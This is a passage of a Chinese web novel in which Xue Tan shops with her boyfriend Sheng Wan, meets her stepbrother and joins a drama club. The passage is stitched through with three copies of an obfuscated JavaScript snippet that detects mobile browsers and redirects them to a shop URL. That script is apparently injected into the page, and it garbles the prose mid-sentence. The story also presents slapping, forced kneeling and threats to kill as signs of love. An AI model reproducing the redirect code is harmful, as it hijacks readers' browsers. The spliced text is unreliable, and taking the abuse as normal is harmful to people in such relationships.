于是薛谭玩了个通宵,等她昏昏沉沉睡过去再醒来时,已经是周六下午三点钟了。 她打着哈欠去浴室洗了个澡,坐在沙发上擦头发时忽然想起来厨师还在外面跪着。 薛谭没好气地走过去打开房门,“喂,我饿了,快给我做饭。” 盛晚还乖巧跪在地上,低头不知道是不是睡着了。她过去踢了一下他的大腿,少男闷哼一声,终于抬起头。 眼眶不知道为什么红红的,两颊两边也带着红彤彤的巴掌印。 巴掌印很丑,但因为长在盛晚脸上,反而为他增添几分别样的风骚。 薛谭轻哼一声,勉强算是原谅了盛晚,“去做饭吧。” 盛晚似乎有哪里不太一样了,他扶着墙艰难站起来,朝薛谭微微一笑:“好的,谭谭。” 薛谭觉得他的笑容有点恶心,恶寒地瞪了他一眼便转身回到沙发上继续擦头发。 因为跪了太久,盛晚的膝盖变得又紫又肿,其中还掺杂着几条血丝。 有点严重,但是好丑。薛谭看了一眼就赶紧用擦完头发随手搁在桌子上的毛巾盖住,也不管会不会按疼少男。她眨眨眼睛,盯着盛晚脸上略微红肿的巴掌印看了一会,问:“这是你自己打的?” “嗯。”盛晚乖顺应道,他没有看薛谭,视线反而落在女孩隔了一层毛巾按着自己膝盖的双手上,语速缓慢,声音非常委屈地说:“谭谭,谭谭不要抛弃我好不好?” 薛谭曾经以为盛晚身上最美丽的是他那双黑曜石般神秘又隐忍沉沦的眼睛,然而此刻看着垂下眼皮故作委屈的少男,她才真正意识到,盛晚从头到脚的每一处,都完美到无可挑剔。 看着小猫似的少男,薛谭心疼坏了,拉过他亲了亲嘴,“我只是太爱你了。” 盛晚低头与她额头相贴,“我知道的。”他语气粘腻地说:“我也最爱最爱谭谭了。” 20. 第 20 章 薛谭对盛晚的控制欲与日俱增。 比如专业团建的时候,薛谭会以“啊,你那么好看,大家肯定都会盯着你看,吃不下去饭了,所以还是不要去了吧”为理由拒绝让盛晚去团建。还有不知道是否是因为受她喜欢玩的一款换装游戏的影响,薛谭最近十分热衷于为盛晚挑选衣服,甚至还有了逛街的念头。 “因为你是我的男朋友啊,当然要每天漂漂亮亮的。”薛谭这样说道。 难得的休息日,心情也难得格外好的薛谭带着盛晚来到商场。虽说是打着给盛晚买衣服的名号出发来到商场的,不过刚刚到达那里,薛谭就拉着盛晚躲到了书店一起看了大半天的漫画。 薛谭是个无论做什么事情都非常专注的人。 比如打游戏时,她会努力将一关打通之后才会将注意力放在别的游戏上。同样的,如果一款游戏没有打通,薛谭不仅不会玩别的游戏,甚至还会把自己吃饭和睡觉的时间全部用来研究游戏通关的策略。 现在看漫画也是因为看到了从前没有注意到的意外好看的漫画,薛谭整整在书店里待了六七个小时都没有动。 知道薛谭肯定不会看手机,盛晚小心戳了戳她的肩膀,声音很轻的问:“谭谭你饿了吗?” 他眨巴眨巴眼,漆黑浑圆的眼珠子忽闪,像一只灵动鲜活的猫咪。 不得不说薛谭对盛晚的包容度真的提升了很多。被盛晚打扰看漫画不仅没有生气,还转过头来笑着说:“你饿了?那我们去吃饭吧。” 盛晚受宠若惊,最近的薛谭对他实在是太好了,这让他长久以来忐忑不安的心绪逐渐安稳下来。似乎一切都在朝着好的方向发展,只要他乖乖听薛谭的话,他们就是世界上最幸福的情侣。 两人吃过不知该算是午饭还是晚饭的美食,薛谭就兴致勃勃拉着盛晚去挑衣服了。 看着女孩儿隐隐洋溢着欢欣雀跃的认真脸庞,她正在挑选衣服,其实也算不上挑选,或许是在发呆,盛晚也不知道。 只要和薛谭待在一起,他就会不自觉地依赖薛谭。他觉得自己好像是一株攀附着薛谭生长的菟丝花,薛谭就是他的生命源泉,是给予他所有希望与动力的最初光芒,让他不用每日隐藏在暗淡无光又不可见人的阴暗下水道。 薛谭看着琳琅满目的男士服装,他则满怀柔情地望着薛谭,就像身边普通的情侣一样。薛谭总是说盛晚是完美无瑕的天使——可从来不是这样的。 盛晚想:和薛谭在一起的每时每刻对他而言都像是从上帝那里偷来的珍宝。他是世界上最卑劣的小人,守护着本不该属于他的幸福,像个垃圾堆里的臭老鼠一样,自私自利地妄想这从天而降的礼物能够永远属于自己。 他是这么想的,直到薛谭递过来一件红色的毛衣。 红色的毛衣占据他全部视线,宛如一簇簇热烈的玫瑰盛放在眼前。 盛晚为这样明艳的色彩怔住,下一秒—— 女孩儿灿烂的笑脸从毛衣身后探出,她的笑容是如此欢乐,眼眸亮晶晶的。比她旁边的毛衣还要引人注目。 “喜欢吗?”薛谭又问:“你喜欢这件吗?” “喜欢。”盛晚脱口而出:“我很喜欢,非常喜欢。” 薛谭笑了笑:“是喜欢我选的毛衣,还是只是喜欢这件毛衣?” 他说了什么? 盛晚不知道,他听不清楚。 因为强烈而有力的心跳声“扑通扑通”砸进他耳中,铺天盖地占领他的世界,盖过了耳边除了薛谭以外的所有声音。 不过好在薛谭很高兴地笑了起来,于是盛晚知道自己的回答是正确的。 目光无限缱绻地注视着女孩,她的笑容是如此纯真直率,完全不见往日暗沉模样。 盛晚忽然发觉自己大错特错。 为什么要继续贬低自己呢?他已经和薛谭在一起了,早已经不是从前那个卑微下贱的男人,他和孟文霖不一样,他是被谭谭喜欢着的人,他不该否定谭谭的选择。 这样的认识让盛晚忍不住发抖,浑身汗毛倒竖,皮肤好似有密密麻麻的小点在兴奋地跳跃着。他头皮发麻,双腿几乎软的跪倒在女孩身边。 “你怎么了?”薛谭看着两颊泛起不正常潮红的盛晚,随手拍了拍少男白皙细腻的脸:“不舒服吗?” “……不是的。”盛晚轻轻握住女孩的手亲了一下。 薛谭很不适应在公共场合做出如此亲密的动作,不自在地抽回手,把衣服塞给盛晚,“赶紧去付钱。” “好。”盛晚小心翼翼从薛谭手上接过毛衣,“谭谭不买衣服吗?”虽然想清楚一些事,但他仍旧有些不自信地试探:“我也想给谭谭选几件衣服。” “啊?”薛谭像是对盛晚给她买衣服这件事很意外:“我衣服都是妈妈买的。” 薛韵给买衣服,对于从前的薛谭来讲并不是一件愉快的事。 其实现在的薛韵比起从前真的改变了许多,以前的薛韵完全不像是一位母亲——虽说现在也不太像就是了,但至少现在的薛韵对薛谭还有点温情。但是在小时候,薛韵给予薛谭更多的感觉是陌生和害怕。 那个时候她不爱薛谭,但也不讨厌。非要从中挤出来一丝亲昵的情绪的话,大概是对于小女孩的稍许喜欢?只是觉得有意思而已。 大多时候她不会对薛谭笑,偶尔和薛谭说话总是严肃又急切的样子,好像和亲生女儿说话是一件么多浪费时间的事情一样。 那个男人死后,薛韵无可奈何独自抚养小小的薛谭,那时这位生疏的母亲还不是很了解自己的女儿,总是想着让女儿向着自己心目中的方向成长。 “你能不能有点主见?” ——这是买衣服时薛韵常常对薛谭说的话。 这句话像是催命符,小薛谭只觉得浑身都很热,像课本里说的“热锅上的蚂蚁”。于是她眼神飘忽着指了一件喜欢的。 可惜她喜欢的不是薛韵喜欢的。 或许当时的薛韵连从前对薛谭那浅薄的对于小女孩的喜欢也没有了,生活的重担和责任使她苦不堪言,连带着不喜欢把她生活搞得一团糟的薛谭。 她对小薛谭没有一点耐心,强势又霸道:“不行!我不喜欢这样的!你再选一个!” 于是小薛谭吓得不敢说话了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678425|141742||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 买衣服陷入死循环。 这些都是很久以前的事了,不过当初对薛谭造成的影响已经根深蒂固。她不喜欢买衣服,反正现在的薛韵会认真又仔细地为她挑选她喜欢的衣服。 虽然回忆起了无法让人感到开心的回忆,不过和薛韵有关的所有经历对薛谭来说都不是糟糕的记忆,因此她只是兴致不高,但并不生气:“你快去付钱吧,我出去买杯奶茶。” 盛晚看出来薛谭脸色不对,他知道现在还不是走进谭谭内心的时机,因此并未多说什么,乖巧前去付款。 薛谭看了下楼层导向,他们在二楼,五楼有许多餐饮品牌,她想了一下,还是决定等盛晚一起。 然而男朋友没等来,反而率先等到了自己那个便宜弟弟。 “薛谭?”万晨霜惊讶地走过来,在商场见到薛谭的概率比在万家见到她吃早饭的概率还要小,“你怎么出来玩了?”见到少女一言不发地盯着自己,他后知后觉心虚改口:“姐姐......” 薛谭问:“你自己来的?还是和晨露姐一起?” 男孩撇撇嘴,“万晨露才不会和我一起逛街呢。”说到这,他忽然想起来什么似的看向薛谭,大眼睛亮晶晶的,“你呢?是自己来的还是和朋友一起来的?”他这副开心的样子显然已经认定对面的人是自己来逛商场的。 薛谭有些不爽:“当然是和我男朋友一起来的。” 话音刚刚落下,微凉的手掌包裹住自己的手腕,薛谭回头便见到了盛晚依赖地望着自己。不知为何,她忽然心情颇好地看向万晨霜,对他介绍:“这是我男朋友,盛晚。” 万晨霜认出了这是之前去动物园时那个吸引了薛谭全部目光的少男,事实上,无论是谁,只要见过盛晚都不会忘记他那张美丽动人的脸。他从这个人眼里看到了轻蔑。 火气蹭的一下涌上心头,万晨霜生气地质问薛谭:“你之前还说不陪我逛街,怎么今天就来陪这个人了!” 薛谭觉得万晨霜真是个奇怪的人,他到底是凭借什么错觉认为他会比盛晚重要。她懒得搭理脑子缺根弦的幼稚男孩,淡淡扔下一句:“希望你玩的开心。”就拉着盛晚的手走了。 结果万晨霜像是块黏在头发上的口香糖一样恶心地跟在跟在他们身后,薛谭买奶茶他也买一模一样的,薛谭在小亭子里刚刚坐下,他紧紧挨着她,与她坐在一起。 “你到底想干嘛?”薛谭觉得万晨霜好像走向了极端,从原来坚决不和她说一句话到现在突然一步不离地跟着她,怎么看都很奇怪。她不禁问:“你想要钱吗?” 万晨霜刚刚正暗自与对面的盛晚较劲,听到薛谭的话小脸一红,结结巴巴:“谁、谁跟你要钱了?我钱多的很好吧。” “哦。”薛谭吸了一口奶茶,“那就好,我可没钱给你。”她的原则之一就是坚决不能给男人花钱,一毛钱都不行。 薛谭奶茶见底了,预测到女孩将要离开,万晨霜使劲在脑海里搜刮有没有什么能够留住她的话题,他焦急地到处乱看,对上盛晚那双黑沉沉盯着自己的眼眸时,脑海里忽然灵光一闪,脱口而出:“我认识你男朋友!” 21. 第 21 章 盛晚静静看着那个曾经和自己有过一面之缘的男孩,内心毫无波澜。毕竟这实在不是什么值得隐瞒的事情——事实上,盛晚也从没想过对薛谭隐瞒两人相识之前的故事。 因为薛谭已经猜到过了。 没有什么轰轰烈烈的感情或是不可告人的秘密,只是很简单的,他对她一见钟情了,所以想方设法勾引她,然后她也对他一见钟情了,最后两人顺利谈恋爱。 盛晚的父亲是一个非常严厉的完美主义者,因为不满意儿子生下来就病弱的身躯,所以加倍要求他在别的事情上做到最完美。在父亲与老管家的严格要求下,拖着残败躯体的盛晚每天被迫学习各种乐器、绘画、马术等所谓的“上流社会必备艺能”,只为了能够稍微减少一点那个那个男人扔给自己的冷眼和拳头。 尽管身体状况差到没办法来到学校上课,盛晚依旧需要每天苦学到凌晨以保持名列前茅的成绩,几乎无法喘息的生活是为了在父亲手下博得一丝喘息的机会。 盛晚永远无法忘记他第一次见到薛谭的那一天。 天空是阴沉沉的,风也像是生病了似的拖着沉重的双腿撞在他身上。带着口罩的盛晚跟在老管家身后,费力挪动着双脚前往z市一高的校长办公室。 两个老男人在封闭的、昏暗的屋子里谈话,安静坐在一旁的盛晚昏昏欲睡,忍不住在心底埋怨自己好不容易能够出来一趟,天空的颜色还是那么难看,简直是在和自己作对。 每个人,所有的事物都讨厌盛晚,看不惯盛晚,总是打着“偶然”的名号和他对着干。 “少爷!”老管家突然拔高音量,原本就像只公鸭的声音更加难听了,“还请您在外面待一会吧。” 虽然不知道他们又要谈论什么见不得人的秘密,不过身为当事人的盛晚丝毫没有探究的欲望,他称得上是乖巧地起身离开这里,来到办公楼下方的长椅上坐着。 现在正是上课时间,加上这里也不是教学楼,外面一个人也没有。空荡荡的小广场就像此时的天空一样了无生趣。 盛晚抬头仰望天,试图灰蒙蒙的色彩里找到一些不一样的东西,哪怕是更加灰暗的乌云。 然而什么都没有。 盛晚忽然反应过来,无论是在空无一人的地面还是黯淡无光的的天际,他始终是突兀的、格格不入的那一个。 他不再像个傻子一样仰着头看天空,说不上失望地收回目光,单手支着下巴百无聊赖地看向前方—— 看向前方走过来的女孩。 她穿着蓝白色校服外套和黑色的校服长裤,手上似乎捧着什么东西,正双目灼灼地认真盯着它瞧。 从盛晚的角度看过去,四周一切都是暗沉沉的,只有女孩那双因为过于兴奋而明亮得好似吸走了世间所有光芒的眼睛在闪烁着。 她在看什么? 为什么现在才来上课? 盛晚忍不住好奇。 女孩忽然抬头望过来,两个人视线骤然交汇,他们都愣了一下。 盛晚速度很慢地眨了眨眼,下一秒—— 她展露笑颜,蓬勃的生机随着嘴角弧度的上扬逐渐逸散开来,汹涌地占据盛晚全部的视线。天地间的灰暗被擦去,因为她一步一步有目的性地朝自己走过来而明亮起来。 盛晚撑着下巴的手不自觉落下,扑通扑通的声音突然不顾一切冲破自己的耳膜,他以为是女孩的脚步声被无限放大,直到一片轻巧的树叶落在自己掌心,才后知后觉反应过来是被他轻视了的心跳声。 “上面有只蜘蛛。” 她轻快的声音如此轻易地盖过了他心脏的剧烈鼓动。 盛晚本应该害怕地扔掉躲藏着一只虫子的脏兮兮树叶,然而此时此刻,他感觉自己的身体像晒干了的泥像,一动不能动,连带着灵魂都只会静悄悄地注视着眼前的女孩。 “没有办法带进教室,你找个机会放生了吧。”说完这句话她转身就走,轻快的脚步让人很容易怀疑她的喜悦来源于刚刚认真看了那么久的树叶——不,应该是蜘蛛。 盛晚捧着树叶的手一点点收缩,却又在收紧的一刹那猛地松开,他忽然不受控制一般站起身,脱口而出:“你自己也能放生的吧!” 女孩闻言转过头,盯着他看了几秒,如实说:“如果不给你,我是不会放生的。”她又笑了一下,“所以谢谢你了。” 盛晚猛地睁大眼睛,想要捂住响个不停的胸口又腾不出手,急得满脸通红,笨拙地说:“只是举手之劳而已......” 不曾想女孩只是摇摇头,“不是,我是说谢谢你出现在这里。” 薛谭摇摇头:“我不想知道你和盛晚的故事,不用告诉我。” 万晨霜可不管薛谭想不想知道,他今天非得把薛谭留下来,直接说:“那天薛阿姨让我在你们学校门口等你一起回家,正好看到了盛晚从z市一高出来然后上了一辆豪车。”他也是刚刚看见盛晚转头看薛谭时的侧脸,才想起来那天的惊鸿一瞥。 “哦。”薛谭把奶茶吸光,发出咕嘟嘟的声音,满不在乎:“他以前跟我一个学校的。”她还记得盛晚说过他也是z市一高的学生,只不过因为身体不好不怎么来上学。 男孩视线在薛谭和盛晚之间转了两圈,无法理解:“所以说你们两个以前就认识?那你干嘛还和孟文霖谈恋爱。” 如果让薛谭找出身边唯一一个不喜欢孟文霖的人,那一定非万晨霜莫属。大概人见人爱花见花开的孟文霖也没有想到过自己会在女朋友的便宜弟弟上栽跟头。 “哈?”像是不能理解男孩莫名其妙的话,薛谭强调:“我们从前不认识,其次,就算认识我也会和孟文霖谈恋爱,因为我喜欢他。” 盛晚捏着纸袋的手猛地用力,心爱的人在身边直言自己对另一个男生的喜爱,这种事情换做谁恐怕都不会好受。他不愿意在外面让薛谭丢脸,压下心中的醋意,只乖巧地坐在一旁,一言不发。 垂眸,视线落在包装袋里薛谭亲自为自己挑选的毛衣,盛晚心里泛起密密麻麻甜蜜的暖意,又自我调节好了。 孟文霖已经和谭谭分手了,现在他才是谭谭的男朋友。 而一旁的万晨霜却因为薛谭对于孟文霖的维护不自觉怔愣。 他讨厌孟文霖,常常毫不掩饰地在薛谭面前表现出自己对于那个骚男人的恶意,印象里每一次薛谭都会毫不犹豫地站在孟文霖身边,为了孟文霖反驳他,甚至斥责他。 尽管万晨露总是说薛谭这个人看上去冷心冷清的谁也不在乎,可是万晨霜却无比清楚,她其实是个很护短的人。无论是薛韵还是孟文霖,都能够在外人面前得到薛谭毫不犹豫的偏爱。 每每这个时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701386|141742||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,充满内心的除了因为薛谭偏向别人而产生的怨恨外,还有那一点隐秘的羡慕。他其实一直都很羡慕能够被薛谭保护着的孟文霖。 毕竟男人这一生,只要能得到心爱女人毫无保留的偏爱,就已经死而无憾了。 突如其来的失落占据万晨霜全部心绪,他忽然没有了从前处处想要和薛谭作对的想法了,只觉得那个时候的自己幼稚又可笑。包括想尽方法留住薛谭,留住她又能怎样呢?反正能够被薛谭选择的永远也不是自己。 万晨霜站起身,整个人像是被雨浇了满头的花儿一样,蔫蔫的没有一丝生命力,活像个百八十岁的老人。 “神经兮兮。”薛谭嫌弃地撇了一眼男孩清瘦挺拔的背影,没有管他。 晚上回到家后,薛谭立刻直直砸进沙发里,堆积的玩偶因为震动落在她身上,将她埋了个严实。 盛晚好笑地走过去为女孩拿走盖在头上那只奇形怪状的玩偶,中间是黑色的毛茸茸的球,上下左右各长着长长的耳朵,是谭谭最喜欢抱的那个。他忍不住看向墙角桌子上堆满的玩偶,那些都是他自己做的,可惜并不得谭谭喜爱。 丝丝缕缕的忌恨爬上心头,盛晚闭上眼睛深呼吸两口气,才努力压制住想要扯碎这只玩偶的冲动。 怀着隐隐的比较,他起身想要用躲在墙角的黑猫玩偶代替手上这只,然而刚刚走了两步身后就传来质问:“你干嘛?” 薛谭今天累坏了,烦躁地拿起一只玩偶砸在盛晚背上,“把卡萝萝还给我!”卡萝萝是那只玩偶的名字,薛谭只会给非常喜爱的玩偶起名字——因为玩偶太多,每个都起一个的话她也记不住。 盛晚脚步一顿,转身来脸上已经带上歉意,“对不起谭谭,我就是有一点吃醋嘛......” 薛谭站在沙发上抢过玩偶,她比盛晚还要高了一个头,直接一跳双腿缠住他的腰,然后用力扯少男英俊的脸,“你好烦啊啊啊你到底爱不爱我!” 盛晚赶紧搂住女孩的腰防止她掉下去,脖子下意识往后仰艰难地想要说话,却被女孩一下子捂住嘴。 薛谭与盛晚贴紧额头,两个人离得很近,她恶狠狠看着他:“我今天又是买衣服又是陪你逛街的,累了一整天好不容易能歇歇,而你!你这个!贱男人!竟然还敢找事!知不知道我很累?啊?” 盛晚赶紧点头。 薛谭猛地拍了一下他的头,大力之下盛晚感觉自己脑袋都要被拍出来了。 “知道我累还拿卡萝萝惹我生气?你这种一点都不知道体谅我的......根本不叫爱!”她改为双手揪住盛晚的耳朵猛摇,盛晚被她晃得站不住身子,连连后退坐在桌子上。 终于解放了双唇的盛晚刚想开口解释,下一秒就被薛谭一巴掌打蒙了。 薛谭是真是很生气,她以为盛晚好得会给自己捏捏肩,揉揉腿,没想到他的第一反应是吃莫名其妙的醋。在他心里,他自己的感受远比她要重要得多。 想到这里,薛谭忍不住委屈:“我那么爱你,为什么你要这么对我,为什么你要欺骗我的感情!不爱我可以直说啊,我又不会真的杀了你......盛晚,我从没想到你是一个这么恶毒的男人,这么长时间看我被你耍得团团转是不是很好玩?啊?” 她越想越觉得自己可怜极了,世界上怎么会有她这么可怜的女人! 22. 第 22 章 在盛晚哭着保证绝对事事都把薛谭放在第一位,并且为自己拿走卡萝萝的举动道歉后,薛谭终于原谅了他。 她抱紧少男精瘦的腰肢,仰头对上一双水光潋滟的眸子,“我真的很爱你,所以这次就原谅你了,可是——”她用力拧了一下手下光滑紧致的皮肉,直直盯着他,“绝对、绝对不要有下次了,好吗?” 盛晚难耐地呻吟出声,下意识蜷缩高大的身躯将女孩圈在怀里,双臂虚虚拢住怀里的女孩,唯有尽力忍受才能克制住把她按在怀中的冲动,他面色潮红,神情迷离地低下头,万般珍重地亲了亲女孩的额头,“绝对不会了,谭谭,我发誓。” 自从和薛谭在一起后,盛晚常常在心底感叹自己何德何能被薛谭如此温柔又包容地对待着。从前他还会担心女孩并不爱自己,只是喜欢他这张为了她努力保养的脸,然而交往那么长时间,他再也没有理由怀疑薛谭对他的爱。 薛谭真的很爱他。 就好比那天他为了一己私欲打扰到劳累了一天的薛谭休息,女孩也只是让他把双手把卡萝萝举过头顶跪着,还、还有一些不可描述的惩罚......虽然结束后身上很疼,可是却有女孩温柔的低语作安慰。 真是,薛谭对他真是太好了!明明他又贱又不要脸地犯了那么多次错误,然而她却一次都没有提过和他分手,说过最严重的话也只是杀了他。盛晚觉得自己真是三生有幸能够成为薛谭的男朋友,高中三年为了勾引女孩所做的努力都没有白费。 想到这里,正在做饭的盛晚就忍不住感动地哭了起来,他一边抹眼泪一边炒菜,深感自己此生无憾了。 而此时此刻被盛晚思念着的薛谭正百无聊赖地坐在会议室里听话剧社的顾问老师讲话,这是今天话剧吧新学期招来新鲜血液后的第一次大型会议,相当于集中鼓舞士气,再安排一下本学期主要的工作。 她前段时间顺利通过话剧社编剧部的面试——事实上每一个参加面试的人都通过了。好巧不巧,那位招新时非常积极的学姐正好是编剧部的部长,名叫郭斯洁,比薛谭大了一届。 话剧社各个部门的部长一起给一百多名成员买了奶茶分下来,薛谭坐在靠墙的角落里,目测自己大概是够不到在过道分发的奶茶的。正当她决定放弃等一会自己单独买奶茶以作安慰时,郭斯洁抱着两杯奶茶走过来坐在她旁边,推过来一杯,“你怎么不去拿啊?” 她是个热情地有些过了头的人,薛谭其实有些怕她,不过和她的热情没有关系,而是因为她内在的严格。 还记得当初面试时坐在讲台下的郭斯洁笑嘻嘻让她进行自我介绍,薛谭按照提前打好的腹稿本来可以顺畅念完的,然而不期然对上郭斯洁锐利的目光,她直接给吓结巴了。 之后郭斯洁又提问了一个非常刁钻的问题: “毕竟咱们是校社团,如果你写的剧本和老师的想要的效果不一样的话,你会怎么办?”直到提出这个问题时,郭斯洁脸上仍然带着吊儿郎当的笑意,可是那双眼睛却犹如能够穿透人心的利剑,让每一个试图含混过关的人不由得正色。 胆小如鼠的薛谭罕见地没有因为女人突如其来的攻击性露怯,在她沉着的审视目光之下,薛谭反而奇异地冷静下来,大脑快速运转思考了一会,她说:“那就试着把自己想表达的思想和老师要求的主题稍微结合一下?哪怕只有一句台词。” 旁边的男生突然提问:“你就非得加入自己的想法吗?” 薛谭不由得看了他一眼,也是个笑容阳光明媚的人,她如实回答:“既然是我创作的剧本,无论主题如何,哪怕是按照给出来的具体剧情走向安排,也一定会不可避免地带上属于我的思想。不是我想这么做,而是我做了就一定会这样。” 教室寂静了一瞬,郭斯洁率先鼓掌,其余几位大二的学姐学哥们也零零散散鼓起掌来。 “哎呦!”郭斯洁突然撞了一下薛谭的手肘,她单手支着下巴侧头看向薛谭,眼睛流淌着温暖的光芒:“虽然我这个做部长的肯定不会让学妹吃亏喝不到奶茶就是了,但是也不能完全依靠我呀,你叫薛谭对吧?下次分奶茶记得上去要啊!” 薛谭没想到郭斯洁会如此直白地将她的心思挑破,有些脸热,不愿意直视女人灼热的目光,于是侧过头小声说:“好的。” 然而这还没完。 不知道她是没情商还是太自来熟,好奇地打量着薛谭:“我记得你面试的时候胆子挺大的啊,怎么现在那么害羞啊。” 啊...... 薛谭痛苦地捂住脸,不愿意回忆那天犯中二病的自己,啊啊真是,怎么说得出那么羞耻的话的啊!明明已经刻意遗忘了,结果现在又被迫回忆起来了,她逃避一般摆摆手示意女人不要再说了:“真是太不好意思了......” “你这人......”郭斯洁好笑地扒拉开薛谭的手,映入眼帘的就是女孩红彤彤的脸,脸红的好似有热气冒出来,她忍不住好奇地戳了戳,结果下一秒女孩便好似受惊一般猛地从长椅上弹开,然后十分抗拒地贴紧墙面,扭过头不愿意看她。 “......也太害羞了吧。”郭斯洁干笑着补充下半句话,意识到自己有些过头了,她连忙道歉:“哎呀,不好意思哈,吓到你了吧,都怪我,是我不好,要不然我让你戳回来?” 她把脸凑过去,然而女孩只是往和墙面贴得更紧了,欲哭无泪拒绝:“不用了,谢谢学姐,请让我静静喝一会奶茶吧......” “好好好。”郭斯洁不再打扰她,坐直身子开始望着讲台上的顾问老师发呆。 确认女人不再关注着自己后,薛谭终于松了一口气,真是个奇怪的人啊。 会议结束后,薛谭奶茶也见了底,她举着空杯子在校园里溜达许久都没看见垃圾桶,反而碰上了一个有些眼熟的男生。 他手上也拿着一样空了的奶茶杯,在见到薛谭的一刻高兴地朝她挥了挥手,跑过来:“好巧啊学妹!”他看了眼薛谭手上的空杯子,笑得更开心了:“你也在找垃圾桶?往前面走找不到的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715252|141742||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那边才有。” 他指了指薛谭身后,见女孩疑惑地望着自己,恍然大悟,出口解释:“我是跟你一个社团的学哥,编剧部面试那天我也在的。” 薛谭终于回忆起来,是那个问“你就非得加入自己的想法吗”的人,她对他没什么好印象,点点头:“好的。”转身就走。 结果少男也跟了上来。 薛谭走的更快了。 旁边传来小声惊讶的呼喊,随即便是身边人抱歉的声音:“不好意思啊学妹吓到你了吧,我没别的意思,跟你一块是因为我也要去那边。” 这个人不仅让薛谭回忆起了自己面试时令人恨不得找个地缝钻进去的发言,现在这句和郭斯洁一样的“吓到你了”又让她想起了刚刚在会议室的窘迫。她闭上嘴巴不再说话,下定决心这一路上不再搭理这个人。 埋头快步向前走,黄昏时刻的校园弥漫着橘红的雾气,光秃秃的枝丫都好像挂着橙色的光斑,她看着脚下不断朝着前方移动的影子发呆。 薛谭其实没想要扔垃圾,只是因为这条路是回家的捷径。 走进了路过图书馆那条种满树的小道,抬眼望见被棕色的杂乱树枝切碎的夕阳,浓浓绿茵已然褪去,薛谭直到此时才对和盛晚交往了很久这件事有了实感。 虽然只有几个月,但确实是薛谭持续时间最长的恋情了。 “喵~” 同样的地点,同样的声音,甚至手上也拿着饮料杯子。 熟悉的猫叫骤然响起,薛谭有一刹那的恍惚,转头顺着声音的方向看过去,率先撞进视野的是抱着惊喜抱起猫咪笑得开心的男生。 “猫猫!”少男怜爱地抚摸着猫咪有些杂乱的毛发,满脸愧疚:“真是对不起啊,最近开学太忙了没有来看你,饿不饿啊,应该有人给你喂东西吃的吧?” 感受到薛谭的视线,他抬头望过来,绽放灿烂的笑容,在夕阳的映照下熠熠生辉,“学妹以前见过这只猫吗?它可是z市的团宠呢,我经常过来喂它,不过因为最近忙社团的事情一直没有时间到这边来,本来还在担心它会不会怕我了,没想到还是那么黏人啊。” 说着,他怀抱着猫咪走过来,“学妹要不要摸摸看?” 薛谭看着他,没有动作。 少男贴心提醒:“放心,它食物来源就是过往的学生,不会咬人的!” 薛谭闻言有些心动,她一眨不眨地盯着猫咪,抬眸与目光鼓励的少男对视一眼,犹豫良久,终于动作很轻地摸了摸它胖乎乎的身体。 柔软的,光滑的,还暖呼呼的。 她神情无比认真地缓慢抚摸着温顺的猫咪,忽而猫咪仰起头,她吓了一跳,一人一猫对视片刻,小猫“喵~”叫了一声,眯着眼蹭了蹭头顶的手掌。 而薛谭像是个短路的机器人般瞪大眼睛,就这么举着手一动不动。 正当少男想要开口提醒她不用那么紧张放轻松时,对面的女孩突然笑了,仅仅是牵起嘴角,像是怕惊动掌下的猫咪一般只敢抿着嘴笑。 23. 第 23 章 好吧,无视计划大失败。 薛谭小心翼翼从少男怀里接过猫咪,紧张地好像这是什么能够引爆z大的炸弹,他则带着两个空杯子扔到图书馆旁边的垃圾桶里。 “我叫陈铭泽,铭记的铭,三点水的泽。”他们一起坐在长椅上,陈铭泽笑了一下,“我记得你叫薛谭对吧?是言谈的谈吗?” “不是。”猫咪安静地趴在薛谭大腿上,她垂眸看着小猫颤动的胡须,“是......”一时没想起来组词,只好说:“言字旁可以作姓氏的那个谭。” “欸——?”陈铭泽有些惊讶地拖长声音,“很特别的名字啊,真好听。”他挠挠头,“我就一直觉得自己的名字真是太普通了!高考完那段时间还想着要不要改一个像你这么酷的名字,可惜老妈不同意。” 薛谭想说她的名字只是薛韵随便起的,然而话到口又觉得没必要和一个陌生人讲这些,又将话咽了回去。 陈铭泽是个很热情开朗的人,从不会叫场面冷下来,他兴致勃勃盯着薛谭怀里的小猫:“要不要给它起个名字?” “不要。”薛谭毫不犹豫拒绝,她抿了抿唇,解释:“它不是我的宠物,用不着我给它起名字。” “哈哈也是,其实咱们校园集市里给这只猫众筹过一个名字,叫柳花。”他指了指头顶:“因为它一直生活在柳树下。不过这只是官方名字,很多爱猫的同学也会单独给它起一个别的的名字,嗯,大概类似于他们之间特有的羁绊吧。” 